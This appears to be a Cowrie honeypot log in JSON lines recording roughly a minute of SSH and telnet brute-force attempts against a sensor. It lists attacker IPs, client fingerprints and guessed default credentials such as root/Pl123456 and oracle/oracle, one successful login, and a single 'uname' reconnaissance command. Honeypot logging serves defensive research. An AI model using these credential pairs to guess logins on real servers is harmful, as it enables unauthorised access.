{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:21.625302Z","src_ip":"113.163.156.190","session":"f8a235cac2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pl123456","message":"login attempt [root/Pl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:21.705534Z","src_ip":"221.139.88.149","session":"a19107154c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.811922788619995,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:22.661101Z","src_ip":"167.99.38.72","session":"334b7a0e2183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.944817304611206,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:22.676274Z","src_ip":"167.99.38.72","session":"d645dc8e384a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"adminadmin","message":"login attempt [postgres/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:22.696369Z","src_ip":"113.163.156.190","session":"f8a235cac2d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:22.967757Z","src_ip":"221.139.88.149","session":"a19107154c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:23.957572Z","src_ip":"113.163.156.190","session":"f8a235cac2d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.0","message":"Connection lost after 34.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:24.835819Z","src_ip":"122.168.114.167","session":"ddbe90687817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53856,"dst_ip":"159.203.135.109","dst_port":22,"session":"f269ad867928","protocol":"ssh","message":"New connection: 122.168.114.167:53856 (159.203.135.109:22) [session: f269ad867928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:29.254514Z"}
{"eventid":"cowrie.session.closed","duration":32.430474281311035,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:30.841727Z","src_ip":"34.69.118.1","session":"ef9150ac788c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.183","src_port":48558,"dst_ip":"10.17.0.5","dst_port":23,"session":"12b1c37f8a36","protocol":"telnet","message":"New connection: 66.132.172.183:48558 (10.17.0.5:23) [session: 12b1c37f8a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:31.709336Z"}
{"eventid":"cowrie.session.closed","duration":30.669634580612183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:33.119499Z","src_ip":"45.10.154.244","session":"68719b52d1fc","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:35.230173Z","src_ip":"122.168.114.167","session":"f269ad867928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:35.234376Z","src_ip":"122.168.114.167","session":"f269ad867928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":44370,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa3036acda0a","protocol":"telnet","message":"New connection: 34.69.118.1:44370 (159.203.135.109:23) [session: aa3036acda0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:38.818624Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":43044,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b6b6a520606","protocol":"telnet","message":"New connection: 185.26.126.47:43044 (159.203.135.109:23) [session: 8b6b6a520606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:40.853010Z"}
{"eventid":"cowrie.session.closed","duration":35.59864664077759,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:42.420750Z","src_ip":"167.99.38.72","session":"6d26f06116cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":58408,"dst_ip":"159.203.135.109","dst_port":23,"session":"39d73b1c7a58","protocol":"telnet","message":"New connection: 167.99.38.72:58408 (159.203.135.109:23) [session: 39d73b1c7a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:43.269659Z"}
{"eventid":"cowrie.session.closed","duration":30.929867029190063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:44.059395Z","src_ip":"45.10.154.244","session":"8444ed16abd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":48856,"dst_ip":"10.17.0.5","dst_port":22,"session":"92fe82c29c89","protocol":"ssh","message":"New connection: 160.251.101.169:48856 (10.17.0.5:22) [session: 92fe82c29c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:45.350517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:45.359293Z","src_ip":"160.251.101.169","session":"92fe82c29c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:45.518570Z","src_ip":"160.251.101.169","session":"92fe82c29c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps2023","message":"login attempt [root/vps2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:46.187666Z","src_ip":"160.251.101.169","session":"92fe82c29c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.089903593063354,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:46.417099Z","src_ip":"167.99.38.72","session":"dcd6549392db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:47.357122Z","src_ip":"160.251.101.169","session":"92fe82c29c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.49292755126953,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:48.202160Z","src_ip":"66.132.172.183","session":"12b1c37f8a36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":33032,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f0a9452ebce","protocol":"telnet","message":"New connection: 167.99.38.72:33032 (159.203.135.109:23) [session: 4f0a9452ebce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:48.276111Z"}
{"eventid":"cowrie.session.closed","duration":31.90185308456421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:48.705307Z","src_ip":"34.69.118.1","session":"86ae09bb9aed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049824476242065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:51.808295Z","src_ip":"34.69.118.1","session":"f63e01f1190e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.220","src_port":44570,"dst_ip":"10.17.0.5","dst_port":23,"session":"50f726127ba7","protocol":"telnet","message":"New connection: 66.132.172.220:44570 (10.17.0.5:23) [session: 50f726127ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:52.384664Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":35196,"dst_ip":"159.203.135.109","dst_port":23,"session":"832162e934a7","protocol":"telnet","message":"New connection: 167.99.38.72:35196 (159.203.135.109:23) [session: 832162e934a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:52.742519Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":34050,"dst_ip":"10.17.0.5","dst_port":23,"session":"be41cdbd898c","protocol":"telnet","message":"New connection: 45.10.154.244:34050 (10.17.0.5:23) [session: be41cdbd898c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:53.397661Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.183","src_port":4020,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b69ff92da41","protocol":"telnet","message":"New connection: 66.132.172.183:4020 (10.17.0.5:23) [session: 7b69ff92da41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:56.058621Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48590,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3ce7566bb51","protocol":"telnet","message":"New connection: 45.10.154.244:48590 (10.17.0.5:23) [session: a3ce7566bb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:57.417449Z"}
{"eventid":"cowrie.session.closed","duration":3.7852604389190674,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:59.843768Z","src_ip":"66.132.172.183","session":"7b69ff92da41","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:00.246835Z","src_ip":"122.168.114.167","session":"f269ad867928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":46364,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b2cae5961c","protocol":"ssh","message":"New connection: 190.108.60.101:46364 (10.17.0.5:22) [session: 01b2cae5961c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:00.392629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:00.398821Z","src_ip":"190.108.60.101","session":"01b2cae5961c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:00.608980Z","src_ip":"190.108.60.101","session":"01b2cae5961c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345","message":"login attempt [user3/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:01.488758Z","src_ip":"190.108.60.101","session":"01b2cae5961c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:02.706631Z","src_ip":"190.108.60.101","session":"01b2cae5961c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.183","src_port":5684,"dst_ip":"10.17.0.5","dst_port":23,"session":"def31bdebe82","protocol":"telnet","message":"New connection: 66.132.172.183:5684 (10.17.0.5:23) [session: def31bdebe82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:06.111859Z"}
{"eventid":"cowrie.session.closed","duration":15.60090708732605,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:07.985457Z","src_ip":"66.132.172.220","session":"50f726127ba7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56248,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d4458735927","protocol":"ssh","message":"New connection: 122.168.114.167:56248 (159.203.135.109:22) [session: 2d4458735927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:08.621339Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36326,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c88036fc2f6","protocol":"telnet","message":"New connection: 45.10.154.244:36326 (10.17.0.5:23) [session: 9c88036fc2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:10.020989Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":46404,"dst_ip":"159.203.135.109","dst_port":23,"session":"39ca77a5e19a","protocol":"telnet","message":"New connection: 167.99.38.72:46404 (159.203.135.109:23) [session: 39ca77a5e19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:10.481039Z"}
{"eventid":"cowrie.session.closed","duration":31.763044118881226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:10.581557Z","src_ip":"34.69.118.1","session":"aa3036acda0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":53416,"dst_ip":"159.203.135.109","dst_port":23,"session":"122859e276e0","protocol":"telnet","message":"New connection: 34.69.118.1:53416 (159.203.135.109:23) [session: 122859e276e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:11.231402Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42198,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b809966a362","protocol":"telnet","message":"New connection: 45.10.154.244:42198 (10.17.0.5:23) [session: 4b809966a362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:11.788626Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47962,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cab47eb0562","protocol":"telnet","message":"New connection: 45.10.154.244:47962 (10.17.0.5:23) [session: 2cab47eb0562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:13.531432Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.220","src_port":6598,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d32fa07316d","protocol":"telnet","message":"New connection: 66.132.172.220:6598 (10.17.0.5:23) [session: 7d32fa07316d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:13.756323Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:14.085403Z","src_ip":"122.168.114.167","session":"f269ad867928","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:14.089823Z","src_ip":"122.168.114.167","session":"f269ad867928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51658,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46fe0ec7523","protocol":"telnet","message":"New connection: 45.10.154.244:51658 (10.17.0.5:23) [session: d46fe0ec7523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:14.539073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:14.924607Z","src_ip":"122.168.114.167","session":"2d4458735927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:14.928829Z","src_ip":"122.168.114.167","session":"2d4458735927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ea3cffdc603","protocol":"telnet","message":"New connection: 45.10.154.244:54748 (10.17.0.5:23) [session: 4ea3cffdc603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:15.484787Z"}
{"eventid":"cowrie.session.closed","duration":34.67014288902283,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:35:17.939692Z","src_ip":"167.99.38.72","session":"39d73b1c7a58","protocol":"telnet"}
